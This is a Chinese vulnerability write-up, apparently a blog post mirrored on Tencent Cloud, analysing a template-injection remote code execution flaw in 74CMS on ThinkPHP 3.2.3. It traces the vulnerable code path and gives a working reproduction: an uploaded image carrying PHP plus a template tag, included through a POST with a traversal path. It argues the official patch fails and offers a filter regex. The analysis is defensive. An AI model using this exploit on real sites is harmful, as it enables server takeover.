前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >骑士 CMS 远程代码执行分析

骑士 CMS 远程代码执行分析

作者头像
p4nda
发布于 2023-01-03 06:29:24
发布于 2023-01-03 06:29:24
1.2K00
代码可运行
举报
文章被收录于专栏:技术猫屋技术猫屋
运行总次数:0
代码可运行

目录

0x00 前言

续师傅前些天跟我说骑士 CMS 更新了一个补丁,assign_resume_tpl 这个全局函数出现了问题,让我分析看看能不能利用,我看了下官网公告:

http://www.74cms.com/news/show-2497.html

/Application/Common/Controller/BaseController.class.php文件的assign_resume_tpl 函数因为过滤不严格,导致了模板注入,可以进行远程代码执行。

0x01 知识背景

骑士 CMS 采用的同样是 Thinkphp 框架,不过其版本是 3.2.3,我们知道 3.2.3 的标准 URL 路径如下:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
http://serverName/index.php/模块/控制器/操作

但骑士 CMS 采用的是普通模式,即传统的GET传参方式来指定当前访问的模块和操作,举个简单的例子,如果我们想要调用 Home 模块下的 User 控制器中的 login 方法如下:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
http://localhost/?m=home&c=user&a=login&var=value

m参数表示模块,c参数表示控制器,a参数表示操作/方法,后面的表示其他GET参数

当然,这些参数是可以改变的,如在系统配置中设置如下:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
'VAR_MODULE'            =>  'module',     // 默认模块获取变量
'VAR_CONTROLLER'        =>  'controller',    // 默认控制器获取变量
'VAR_ACTION'            =>  'action',    // 默认操作获取变量

那么刚才的地址就变成了:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
http://localhost/?module=home&controller=user&action=login&var=value

知道这些那么这个漏洞就很清楚应该如何构造了

0x02 漏洞分析

漏洞文件:/Application/Common/Controller/BaseController.class.php中的assign_resume_tpl方法:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
 public function assign_resume_tpl($variable,$tpl){
        foreach ($variable as $key => $value) {
            $this->assign($key,$value);
        }
        return $this->fetch($tpl);
    }

传入两个变量,其中$tpl变量被传到fetch()方法中,跟进该方法

/ThinkPHP/Library/Think/View.class.php

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
 public function fetch($templateFile='',$content='',$prefix='') {
        if(empty($content)) {
            $templateFile   =   $this->parseTemplate($templateFile);
            // 模板文件不存在直接返回
            if(!is_file($templateFile)) E(L('_TEMPLATE_NOT_EXIST_').':'.$templateFile);
        }else{
            defined('THEME_PATH') or    define('THEME_PATH', $this->getThemePath());
        }
        // 页面缓存
        ob_start();
        ob_implicit_flush(0);
        if('php' == strtolower(C('TMPL_ENGINE_TYPE'))) { // 使用PHP原生模板
            $_content   =   $content;
            // 模板阵列变量分解成为独立变量
            extract($this->tVar, EXTR_OVERWRITE);
            // 直接载入PHP模板
            empty($_content)?include $templateFile:eval('?>'.$_content);
        }else{
            // 视图解析标签
            $params = array('var'=>$this->tVar,'file'=>$templateFile,'content'=>$content,'prefix'=>$prefix);
            Hook::listen('view_parse',$params);
        }
        // 获取并清空缓存
        $content = ob_get_clean();
        // 内容过滤标签
        Hook::listen('view_filter',$content);
        // 输出模板文件
        return $content;
    }

首先判断传入的模板文件是否为空,如果不为空,那么继续判断是否使用了PHP原生模板,我们查看配置文件:/ThinkPHP/Conf/convention.php 大概111 行:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
    'TMPL_ENGINE_TYPE'      =>  'Think',     // 默认模板引擎 以下设置仅对使用Think模板引擎有效
    'TMPL_CACHFILE_SUFFIX'  =>  '.php',      // 默认模板缓存后缀
    'TMPL_DENY_FUNC_LIST'   =>  'echo,exit',    // 模板引擎禁用函数
    'TMPL_DENY_PHP'         =>  false, // 默认模板引擎是否禁用PHP原生代码

可以看到骑士 CMS 默认启用的是Think模板,因此判断就进入了

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
 $params = array('var'=>$this->tVar,'file'=>$templateFile,'content'=>$content,'prefix'=>$prefix);
 Hook::listen('view_parse',$params);

将值带入数组,并传入Hook::listen(),并解析view_parse标签,继续跟进/ThinkPHP/Library/Think/Hook.class.php,大概 80 行:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
/**
     * 监听标签的插件
     * @param string $tag 标签名称
     * @param mixed $params 传入参数
     * @return void
     */
    static public function listen($tag, &$params=NULL) {
        if(isset(self::$tags[$tag])) {
            if(APP_DEBUG) {
                G($tag.'Start');
                trace('[ '.$tag.' ] --START--','','INFO');
            }
            foreach (self::$tags[$tag] as $name) {
                APP_DEBUG && G($name.'_start');
                $result =   self::exec($name, $tag,$params);
                if(APP_DEBUG){
                    G($name.'_end');
                    trace('Run '.$name.' [ RunTime:'.G($name.'_start',$name.'_end',6).'s ]','','INFO');
                }
                if(false === $result) {
                    // 如果返回false 则中断插件执行
                    return ;
                }
            }
            if(APP_DEBUG) { // 记录行为的执行日志
                trace('[ '.$tag.' ] --END-- [ RunTime:'.G($tag.'Start',$tag.'End',6).'s ]','','INFO');
            }
        }
        return;
    }
 /**
     * 执行某个插件
     * @param string $name 插件名称
     * @param string $tag 方法名(标签名)     
     * @param Mixed $params 传入的参数
     * @return void
     */
    static public function exec($name, $tag,&$params=NULL) {
        if('Behavior' == substr($name,-8) ){
            // 行为扩展必须用run入口方法
            $tag    =   'run';
        }
        $addon   = new $name();
        return $addon->$tag($params);
    }

也就是说当系统触发了view_parse事件,ThinkPHP会找到Hook::listen()方法,该方法会查找$tags中有没有绑定view_parse事件的方法,然后用foreach遍历$tags属性,并执行Hook:exec方法。

Hook:exec方法会检查行为名称,如果包含Behavior关键字,那么入口方法必须为run方法,而执行run方法的参数在调用Hook::listen时指定。 Hook的配置写在/ThinkPHP/Mode/common.php中,如下:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
 // 行为扩展定义
    'tags'  =>  array(
        'app_init'     =>  array(
            'Behavior\BuildLiteBehavior', // 生成运行Lite文件
        ),        
        'app_begin'     =>  array(
            'Behavior\ReadHtmlCacheBehavior', // 读取静态缓存
        ),
        'app_end'       =>  array(
            'Behavior\ShowPageTraceBehavior', // 页面Trace显示
        ),
        'view_parse'    =>  array(
            'Behavior\ParseTemplateBehavior', // 模板解析 支持PHP、内置模板引擎和第三方模板引擎 
        ),
        'template_filter'=> array(
            'Behavior\ContentReplaceBehavior', // 模板输出替换
        ),
        'view_filter'   =>  array(
            'Behavior\WriteHtmlCacheBehavior', // 写入静态缓存
        ),
    ),

从配置文件可以看到view_parse标签执行了ParseTemplateBehavior这个类,因为所有行为扩展的入口都是run方法,所以我们只需要看run方法实现即可,/ThinkPHP/Library/Behavior/ParseTemplateBehavior.class.php17 行左右:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
class ParseTemplateBehavior {

    // 行为扩展的执行入口必须是run
    public function run(&$_data){
        $engine             =   strtolower(C('TMPL_ENGINE_TYPE'));
        $_content           =   empty($_data['content'])?$_data['file']:$_data['content'];
        $_data['prefix']    =   !empty($_data['prefix'])?$_data['prefix']:C('TMPL_CACHE_PREFIX');
        if('think'==$engine){ // 采用Think模板引擎
            if((!empty($_data['content']) && $this->checkContentCache($_data['content'],$_data['prefix'])) 
                ||  $this->checkCache($_data['file'],$_data['prefix'])) { 
                // 缓存有效
                //载入模版缓存文件
               Storage::load(C('CACHE_PATH').$_data['prefix'].md5($_content).C('TMPL_CACHFILE_SUFFIX'),$_data['var']);
            }else{
                $tpl = Think::instance('Think\\Template');
                // 编译并加载模板文件
                $tpl->fetch($_content,$_data['var'],$_data['prefix']);
            }
        }else{
            // 调用第三方模板引擎解析和输出
            if(strpos($engine,'\\')){
                $class  =   $engine;
            }else{
                $class   =  'Think\\Template\\Driver\\'.ucwords($engine);                
            }            
            if(class_exists($class)) {
                $tpl   =  new $class;
                $tpl->fetch($_content,$_data['var']);
            }else {  // 类没有定义
                E(L('_NOT_SUPPORT_').': ' . $class);
            }
        }
    }

从代码中知道第一次解析模板时(即模板文件没有缓存),调用了 fetch()方法:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
$tpl = Think::instance('Think\\Template');
// 编译并加载模板文件
$tpl->fetch($_content,$_data['var'],$_data['prefix']);

跟进文件/ThinkPHP/Library/Think/Template.class.php73 行左右:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
    /**
     * 加载模板
     * @access public
     * @param string $templateFile 模板文件   
     * @param array  $templateVar 模板变量
     * @param string $prefix 模板标识前缀
     * @return void
     */
    public function fetch($templateFile,$templateVar,$prefix='') {
        $this->tVar         =   $templateVar;
        $templateCacheFile  =   $this->loadTemplate($templateFile,$prefix);
        Storage::load($templateCacheFile,$this->tVar,null,'tpl');
    }
/**
     * 加载主模板并缓存
     * @access public
     * @param string $templateFile 模板文件
     * @param string $prefix 模板标识前缀
     * @return string
     * @throws ThinkExecption
     */
    public function loadTemplate ($templateFile,$prefix='') {
        if(is_file($templateFile)) {
            $this->templateFile    =  $templateFile;
            // 读取模板文件内容
            $tmplContent =  file_get_contents($templateFile);
        }else{
            $tmplContent =  $templateFile;
        }
         // 根据模版文件名定位缓存文件
        $tmplCacheFile = $this->config['cache_path'].$prefix.md5($templateFile).$this->config['cache_suffix'];

        // 判断是否启用布局
        if(C('LAYOUT_ON')) {
            if(false !== strpos($tmplContent,'{__NOLAYOUT__}')) { // 可以单独定义不使用布局
                $tmplContent = str_replace('{__NOLAYOUT__}','',$tmplContent);
            }else{ // 替换布局的主体内容
                $layoutFile  =  THEME_PATH.C('LAYOUT_NAME').$this->config['template_suffix'];
                // 检查布局文件
                if(!is_file($layoutFile)) {
                    E(L('_TEMPLATE_NOT_EXIST_').':'.$layoutFile);
                }
                $tmplContent = str_replace($this->config['layout_item'],$tmplContent,file_get_contents($layoutFile));
            }
        }
        // 编译模板内容
        $tmplContent =  $this->compiler($tmplContent);
        Storage::put($tmplCacheFile,trim($tmplContent),'tpl');
        return $tmplCacheFile;
    }

可以看到fetch()方法调用了loadTemplate方法,然后在loadTemplate方法中,$templateFile被赋值给了$tmplContent,然后在编译模板内容时,进入了compiler方法,依旧是/ThinkPHP/Library/Think/Template.class.php文件,在120 行左右:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
/**
     * 编译模板文件内容
     * @access protected
     * @param mixed $tmplContent 模板内容
     * @return string
     */
    protected function compiler($tmplContent) {
        //模板解析
        $tmplContent =  $this->parse($tmplContent);
        // 还原被替换的Literal标签
        $tmplContent =  preg_replace_callback('/<!--###literal(\d+)###-->/is', array($this, 'restoreLiteral'), $tmplContent);
        // 添加安全代码
        $tmplContent =  '<?php if (!defined(\'THINK_PATH\')) exit();?>'.$tmplContent;
        // 优化生成的php代码
        $tmplContent = str_replace('?><?php','',$tmplContent);
        // 模版编译过滤标签
        Hook::listen('template_filter',$tmplContent);
        return strip_whitespace($tmplContent);//strip_whitespace函数主要是去除代码中的空白和注释
    }

传入的模板内容未经过过滤就直接被拼接到$tmplContent变量

然后返回loadTemplate方法,看其编辑模板的逻辑:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
 // 编译模板内容
 $tmplContent =  $this->compiler($tmplContent);
 Storage::put($tmplCacheFile,trim($tmplContent),'tpl');
 return $tmplCacheFile;

将编译好的模板进行缓存处理,然后返回缓存的文件名

返回到fetch()方法,可以看到loadTemplate方法返回的缓存文件名进入了

Storage::load($templateCacheFile,$this->tVar,null,'tpl');

跟进该方法,在/ThinkPHP/Library/Think/Storage/Driver/File.class.php,69 行左右:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
/**
     * 加载文件
     * @access public
     * @param string $filename  文件名
     * @param array $vars  传入变量
     * @return void        
     */
    public function load($_filename,$vars=null){
        if(!is_null($vars)){
            extract($vars, EXTR_OVERWRITE);
        }
        include $_filename;
    }    

进行非空判断后,直接进行了文件包含。

这样一来整个漏洞的流程就很清楚了,流程图如下所示:

0x03 漏洞复现

首先在前台注册一个普通用户,然后更新简历:

完成简历更新后,上传照片:

在上传图片马后,会生成图片地址:

复制路径,通过 a 方法调用assign_resume_tpl函数,再通过 POST 的方式提交该路径,即可包含成功

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
http://192.168.159.208/index.php?m=home&a=assign_resume_tpl
POST:
variable=1&tpl=../../../../var/www/html/data/upload/resume_img/2011/13/5fae95e469e05.jpg

如下图所示:

值得一提的是,通过上面的分析我们可以知道,在解析模板的时候,不是解析原生的 PHP 代码,因此如果图片马是纯 PHP 代码是无法利用成功的,必须要包括骑士 CMS 模板文件的标签,我们可以随便打开一个原有模板,然后复制一句话即可,如:/Application/Home/View/tpl_company/default/com_jobs_list.html

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
    <qscms:company_show 列表名="info" 企业id="$_GET['id']"/>

因此最终的图片马所要包含的内容应该是:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
<?php phpinfo(); ?>
<qscms:company_show 列表名="info" 企业id="$_GET['id']"/>

另外一点,骑士 CMS 对于图片上传是有过滤的,所以需要绕过技巧,具体可以自行研究,当然你也可以考虑上传 docx 或者其他类型的文件,对于包含的结果是没有影响的

0x04 漏洞修复

官方虽然给了修复的方法,如下:

BaseController.class.php文件中169行assign_resume_tpl方法中添加判断

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
        $view = new \Think\View;

        $tpl_file = $view->parseTemplate($tpl);

        if(!is_file($tpl_file)){

            return false;

        }

文件2

路径:/ThinkPHP/Library/Think/View.class.phpView.class.php文件中106行fetch方法中修改,将110行

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
if(!is_file($templateFile)) E(L('_TEMPLATE_NOT_EXIST_').':'.$templateFile);

代码注释替换为

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
if(!is_file($templateFile)) E(L('_TEMPLATE_NOT_EXIST_'))

但其实这种修复方式是没有用的,我们依旧可以执行命令,如下图所示:

这里提供一个个人的临时修复方案:

BaseController.class.php文件中assign_resume_tpl方法中添加判断

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
$pattern = "\.\/|\.\.\/|:|%00|%0a|=|~|@|file|php|filter|resource";

    if(preg_match("/".$pattern."/is",$tpl)== 1){
        return $this->_empty();
    }

如下所示:

在此执行命令时,发现已经失败了:

0x05 总结

本漏洞其实也是寻常的模板注入漏洞,由可控参数传入fetch()函数,这个漏洞产生的方式相信很多人已经很熟悉了,前段时间分析的 fastadmin 前台 RCE 也是由这个原因,但上次偷懒没有分析具体传入的流程,本次分析的比较具体,有不足或错误之处希望师傅们指出,共同学习。最后感谢续师傅的指点(抱大腿)

0x06 参考

https://blog.csdn.net/qq_16877261/article/details/53484671

https://juejin.im/post/6844903982905688078

http://www.111com.net/phper/thinkPhp/104435.htm

https://www.kancloud.cn/manual/thinkphp/1697

http://www.74cms.com/news/show-2497.html

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2020-11-18,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
Linux 用户必备的 Git 图形化工具
Git 是一个免费的开源分布式版本控制系统,用于软件开发和其他几个版本控制任务。它旨在根据速度、效率和数据完整性来处理从小到大的项目。
数据科学工厂
2023/10/27
2.8K0
Linux 用户必备的 Git 图形化工具
Best Graphical Git Clients and Git Repository Viewers for Linux
Git is a free and open source distributed version control system for software development and several other version control tasks. It is designed to cope with everything from small to very large projects based on speed, efficiency and data integrity.
shaonbean
2019/05/26
8510
你肯定没用过这个全新的 Git 客户端工具!
我们都知道,目前市面上可用的 Git 客户端种类繁多,常见的有 Gitkraken、Source Tree、tortoiseGit、SmartGit 等工具。
GitHubDaily
2020/05/19
1K0
你肯定没用过这个全新的 Git 客户端工具!
程序员必备!10款实用便捷的Git可视化管理工具
俗话说得好“工欲善其事,必先利其器”,合理的选择和使用可视化的管理工具可以降低技术入门和使用的门槛。我们在团队开发中统一某个开发工具的使用能够大大降低沟通成本,提高协作沟通效率。今天给大家分享10款实用便捷的Git可视化管理工具,注意排名不分先后希望能对各位小伙伴有所帮助。
追逐时光者
2024/01/27
25.6K1
程序员必备!10款实用便捷的Git可视化管理工具
SmartGit:Git版本控制系统的图形化客户端程序
Git最初是一个由林纳斯·托瓦兹为了更好地管理linux内核开发而创立的分布式版本控制/软件配置管理软件。后来Git内核已经成熟到可以独立地用作版本控制。很多有名的软件都使用Git来进行版本控制,其中有Linux内核,X.Org服务器和OLPC (OLPC) 内核开发。 当使用github做协同的时候,我们常常需要在客户端安装相应的软件,github for Windows使用介绍 这篇文章可以很好带我们入门github,同时还带了一个gitshell,这个工具可以运行github的所有命令,但是输入命令非
张善友
2018/01/30
1.3K0
我看还有谁不动Git
Git 是一个开源的分布式版本控制系统,用于管理一个或多个文件的整个历史记录。它有助于跟踪文件的变化,同时让多个开发者对同一个文件做出更改,并帮助开发者们在不同时间点进行历史查阅和版本比较。
MCNU云原生
2023/03/17
1.8K0
我看还有谁不动Git
零代码入门GitHub,图形化交互让你轻松存代码 | 附Git GUI推荐
没有哪一个学编程的人不知道Git,但对于初学者而言,Git这种跟一大堆命令行联系在一起的东西,可并没有那么亲切友好易上手。
量子位
2019/08/19
6830
零代码入门GitHub,图形化交互让你轻松存代码 | 附Git GUI推荐
Git 安装和配置教程:Windows - Mac - Linux 三平台详细图文教程,带你一次性搞 Git 环境
下载完成后,双击运行安装包,按照提示进行安装。安装过程中,你可以选择Git Bash、Git GUI等组件,根据自己的需要进行选择。其中,Git Bash是一个命令行工具,可以让你在Windows上使用Linux的命令行工具;Git GUI是一个图形化界面,可以让你更方便地管理Git仓库。
小万哥
2023/05/28
1.6K0
Git 安装和配置教程:Windows - Mac - Linux 三平台详细图文教程,带你一次性搞 Git 环境
SmartGit :图形化Git客户端
smartgit是一个企业级的Git、Mercurial、以及Subversion图形化客户端软件,功能非常强大,它可以简单快速的实现Git及Mercurial中的版本控制工作,从而大大提高您的工作效率!
啾咪啾咪
2023/02/14
1K0
如何在 Ubuntu 中安装 QGit 客户端
QGit是一款由Marco Costalba用Qt和C++写的开源的图形界面 Git 客户端。它是一款可以在图形界面环境下更好地提供浏览版本历史、查看提交记录和文件补丁的客户端。它利用git命令行来执行并显示输出。它有一些常规的功能像浏览版本历史、比较、文件历史、文件标注、归档树。我们可以格式化并用选中的提交应用补丁,在两个或多个实例之间拖拽并提交等等。它允许我们用它内置的生成器来创建自定义的按钮去执行特定的命令。
知忆
2021/06/08
1.4K0
awesome-linux-software-cn
Awesome-Linux-Software 是由 LewisVo 发起并维护的 Linux 软件资源列表。该列表收集了许多在 Linux 平台下非常棒的软件、实用工具以及其它相关资料,方便 Linux 爱好者查阅。 另外一个中文版本请参见 这里 应用程序 音频 Airtime - Airtime 是开源广播软件,它用于时间安排和远程站点管理。Open-Source Software Ardour -在 Linux 上录音、编辑和混音。 Audacious - 一款开源音频播放器,可以随心所欲地播放你的音乐
guanguans
2018/05/09
6.7K0
为什么需要使用Git客户端?
Git 是 Linux Torvalds 为了帮助管理 Linux® 内核开发而开发的一个开放源码的版本控制软件。正如所提供的文档中说的一样,“Git 是一个快速、可扩展的分布式版本控制系统,它具有极
张善友
2018/01/30
1.9K0
为什么需要使用Git客户端?
Git学习-09
git tag 是 Git 中用于标记特定提交的功能。标签通常用于标记软件版本,以便在将来的某个时间点能够轻松地找到和使用该特定版本的代码。以下是一些使用 Git 标签的原因:
kwan的解忧杂货铺
2024/10/04
1030
Git学习-07
Git 是一个开源的分布式版本控制系统,由 Linus Torvalds 创建,用于有效、高速地处理从小到大的项目版本管理。Git 是目前世界上最流行的版本控制系统之一,广泛应用于软件开发中。
kwan的解忧杂货铺
2024/10/03
1170
SmartGit Mac(图形化Git客户端)21.2.3/22.1
martGit for Mac是一款适用于MAC平台的Git客户端应用程序,它能在您的工作上满足您的需求,smartgit是一个企业级的Git、Mercurial、以及Subversion图形化客户端软件,功能非常强大,它可以简单快速的实现Git及Mercurial中的版本控制工作,从而大大提高您的工作效率。
Mac知识分享
2022/07/31
1.1K0
Git学习-08
总体而言,使用 Git 分支可以提高团队的工作效率,减少冲突,更好地组织和管理代码库的演进过程。分支使得开发者能够同时进行多个独立的工作,并且能够更灵活地应对不同的开发和维护需求。
kwan的解忧杂货铺
2024/10/03
960
Git学习-04
两个常驻分支(master & develop),代码开发都在临时分支上进行。需要做好日常管理(如及时删除已合并的临时分支),否则容易导致混乱。
kwan的解忧杂货铺
2024/10/01
1080
Git学习-03
Git 是一个开源的分布式版本控制系统,由 Linus Torvalds 创建,用于有效、高速地处理从小到大的项目版本管理。Git 是目前世界上最流行的版本控制系统之一,广泛应用于软件开发中。
kwan的解忧杂货铺
2024/10/01
1050
老牌Git客户端:SmartGit for Mac
SmartGit for Mac一款老牌Git客户端,它能在您的工作上满足您的需求,smartgit是一个企业级的Git、Mercurial、以及Subversion图形化客户端软件,它可以简单快速的实现Git及Mercurial中的版本控制工作,从而大大提高您的工作效率。
Mac软件分享
2022/09/04
2.4K0
老牌Git客户端:SmartGit for Mac
Git 可视化的实现:提升版本控制体验的利器
Git 是目前最流行的分布式版本控制系统,广泛应用于软件开发和项目管理中。然而,对于许多人来说,Git 命令行操作可能有些复杂且难以直观理解,特别是当涉及到复杂的分支和合并操作时。为了更好地帮助开发者掌握 Git 的操作过程,Git 可视化应运而生。通过图形化界面和可视化工具,开发者能够更清晰地理解项目的历史、分支结构以及协作中的变更情况。
TENGZO
2024/10/14
1760
相关推荐
Linux 用户必备的 Git 图形化工具
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档